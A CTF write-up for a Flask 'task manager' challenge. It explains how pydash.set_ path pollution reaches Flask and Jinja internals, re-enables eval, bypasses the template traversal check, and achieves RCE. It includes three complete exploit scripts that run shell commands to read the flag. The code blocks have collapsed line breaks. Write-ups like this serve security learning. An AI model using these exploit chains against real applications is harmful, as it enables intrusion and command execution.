This challenge is quite like a python version of prototype pollution, you can also say that it uses some idea from pyjail, over all, it's a really interesting one.
Let's have a look of the source:
app.py
```pythonfrom flask import Flask, render_template, request, redirectfrom taskmanager import TaskManagerimport os
app = Flask(__name__)
@app.before_first_requestdef init():    if app.env == 'yolo':        app.add_template_global(eval)
@app.route("/<path:path>")def render_page(path):    if not os.path.exists("templates/" + path):        return "not found", 404    return render_template(path)
@app.route("/api/manage_tasks", methods=["POST"])def manage_tasks():    task, status = request.json.get('task'), request.json.get('status')    if not task or type(task) != str:        return {"message": "You must provide a task name as a string!"}, 400    if len(task) > 150:        return {"message": "Tasks may not be over 150 characters long!"}, 400    if status and len(status) > 50:        return {"message": "Statuses may not be over 50 characters long!"}, 400    if not status:        tasks.complete(task)        return {"message": "Task marked complete!"}, 200    if type(status) != str:        return {"message": "Your status must be a string!"}, 400    if tasks.set(task, status):        return {"message": "Task updated!"}, 200    return {"message": "Invalid task name!"}, 400
@app.route("/api/get_tasks", methods=["POST"])def get_tasks():    try:        task = request.json.get('task')        return tasks.get(task)    except:        return tasks.get_all()
@app.route('/')def index():    return redirect("/home.html")
tasks = TaskManager()
app.run('0.0.0.0', 1337)
```
taskmanager.py
```pythonimport pydash
class TaskManager:    protected = ["set", "get", "get_all", "__init__", "complete"]
    def __init__(self):        self.set("capture the flag", "incomplete")
    def set(self, task, status):        if task in self.protected:            return        pydash.set_(self, task, status)        return True
    def complete(self, task):        if task in self.protected:            return        pydash.set_(self, task, False)        return True
    def get(self, task):        if hasattr(self, task):            return {task: getattr(self, task)}        return {}
    def get_all(self):        return self.__dict__```
The code is quite simple, the author built a flask app on top of `pydash.set_`, which is a advanced version of `setattr` but supports to set a variable by its path.
e.g.
```Python>>> pydash.set_({"A":{"B":"C"}}, "A.B", "D"){'A': {'B': 'D'}}```
## Accessing `app`
As there is nothing much could be use, it's a good idea to find out a way to access `app.py`. With `pydash.set_()`, we can make it happen using some special variables just like we usually do in ssti and pyjail:
```Pythonpydash.set_(    TaskManager(),    '__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.xxx',    'xxx')```
## Adding `eval` to jinja globals
Let's have a look back at `app.py`, and it's not hard to find some strange codes:
```python@app.before_first_requestdef init():    if app.env == 'yolo':        app.add_template_global(eval)```![](https://hxz3zo0taq.feishu.cn/space/api/box/stream/download/asynccode/?code=YjczMTMwMWMyZTY2OGIyNzg1Yzg2NmY0MzdiODBjZjFfb3hoOVltcEJiT0Y2Zkdsbm1CODF1b2JaR0tSNFRRZjNfVG9rZW46Ym94Y25tTTB0dldDSGdnNVIwcUg2SkVtd21ZXzE2NzQyNzg1MzE6MTY3NDI4MjEzMV9WNA)
We just got the access to `app.py`, which means `app.env` could be modified to anything we want. If we could make the code above run again, we could invoke `eval` function in templates and then trigger rce. Luckily, after some digging, I just found it's possible by settting `app._got_first_request` to `False`.
## Triggering `eval`
With `eval` in jinja globals, the next question is how can we invoke it. We all know that jinja recognise variables by `{{.*}}`, what if we changed it? In `app.jinja_env`, we could find two properties with the value of `{{` and `}}` named  `variable_start_string` and `variable_end_string`, which means we could mark any code we want, including `eval(.*)`, as a jinja variable.
## Bypassing jinja directory traversal check
`eval` could only be invoked by ssti, but the html files under `templates` directorry is obviously not usable. So we have to find a way to bypass jinja directory traversal check to render any file we want.
From the jinja source(https://github.com/pallets/jinja/blob/36b601f24b30a91fe2fdc857116382bcb7655466/src/jinja2/loaders.py#L24-L38)
![](https://pics.kdxcxs.com:4433/images/2023/01/21/20230121143335.png)
we could tell that jinja uses `os.path.pardir` to check directory traversal, but we could change `pardir` to something else to bypass it.
## exp
By far, we've got anything we need to get a rce, the final step is to find a file with `eval(.*)` in it and modify `variable_start_string` and `variable_end_string` properties. I first tried using `app.py`, but jinja could not parse it properly as I ended up constructing a form in `{{ eval{# #}(.*) }}`, which is not a valid expression. But we just achieved directory traversal, why not jumpping out of the chellenge files and find something in python lib instead? And the final choice is `turtle.py`:
```Pythonimport requestsimport re
base_url = 'http://127.0.0.1:1337'url      = f'{base_url}/api/manage_tasks'exp_url  = f'{base_url}/../../usr/local/lib/python3.8/turtle.py'app      = '__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app'
# add eval to template globalsrequests.post(url, json={"task": f"{app}.env", "status": "yolo"})requests.post(url, json={"task": f"{app}._got_first_request", "status": None})
# bypass jinja directory traversal checkrequests.post(url, json={"task": "__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.os.path.pardir", "status": "foobar"})
# change jinja_envrequests.post(url, json={"task": f"{app}.jinja_env.variable_start_string", "status": """'""']:\n            value = """})requests.post(url, json={"task": f"{app}.jinja_env.variable_end_string", "status": "\n"})
# add global varsrequests.post(url, json={"task": f"{app}.jinja_env.globals.value", "status": "__import__('os').popen('cat /flag-*.txt').read()"})
# get flags = requests.Session()r = requests.Request(method='GET', url=exp_url)p = r.prepare()p.url = exp_urlr = s.send(p)flag = re.findall('idek{.*}', r.text)[0]print(flag)```
## Unintended sol
To begin with, let's have a look at the `Dockerfile` first:
```DockerfileRUN echo "idek{[REDACTED]}" > /flag-$(head -c 16 /dev/urandom | xxd -p).txt...COPY . .```
Which means the `Dockerfile` itself is copied into the container with flag written on it, so it's a easier way to get flag by reading `Dockerfile` instead of rce.
```Pythonimport requestsimport re
base_url = 'http://127.0.0.1:1337'url      = f'{base_url}/api/manage_tasks'exp_url  = f'{base_url}/../Dockerfile'
# bypass jinja directory traversal checkrequests.post(url, json={"task": "__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.os.path.pardir", "status": "foobar"})
# get flags = requests.Session()r = requests.Request(method='GET', url=exp_url)p = r.prepare()p.url = exp_urlr = s.send(p)flag = re.findall('idek{.*}', r.text)[0]print(flag)```
## RCE by `jinja2.runtime.exported`
> [https://github.com/Myldero/ctf-writeups/tree/master/idekCTF%202022/task%20manager](https://github.com/Myldero/ctf-writeups/tree/master/idekCTF%202022/task%20manager)
In the [source of jinja](https://github.com/pallets/jinja/blob/main/src/jinja2/environment.py#L1208) we know that the rendering function acctually invokes `environment.from_string`, which then [invokes `environment.compile`](https://github.com/pallets/jinja/blob/main/src/jinja2/environment.py#L1105) and returns a `code` object generated by `__builtins__.compile`. The `code` object endded up be [execed](https://github.com/pallets/jinja/blob/main/src/jinja2/environment.py#L1222), if we could control the `code` object, we get rce.
After some debugging, we could find a variable named `exported_names` is [added](https://github.com/pallets/jinja/blob/main/src/jinja2/compiler.py#L839) into the source code and latter compiled into the `code` object. And it's not hard to find that it's a string array in [jinja2.runtime](https://github.com/pallets/jinja/blob/main/src/jinja2/runtime.py#L45), so we could change it by `pydash.set_()` and get rce:
```Pythonimport requests, re
base_url = 'http://127.0.0.1:1337'url      = f'{base_url}/api/manage_tasks'flag_url = f'{base_url}/../../tmp/flag'
payload = '''*__import__('os').system('cp /flag* /tmp/flag')#'''
# bypass jinja directory traversal checkrequests.post(url, json={"task": "__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.os.path.pardir", "status": "foobar"})
# replace exported to prepare rcerequests.post(url, json={"task": "__init__.__globals__.__loader__.__init__.__globals__.sys.modules.jinja2.runtime.exported.0", "status": payload})
# trigger rcerequests.get(f'{base_url}/home.html')
# get flags = requests.Session()r = requests.Request(method='GET', url=flag_url)p = r.prepare()p.url = flag_urlr = s.send(p)flag = re.findall('idek{.*}', r.text)[0]print(flag)```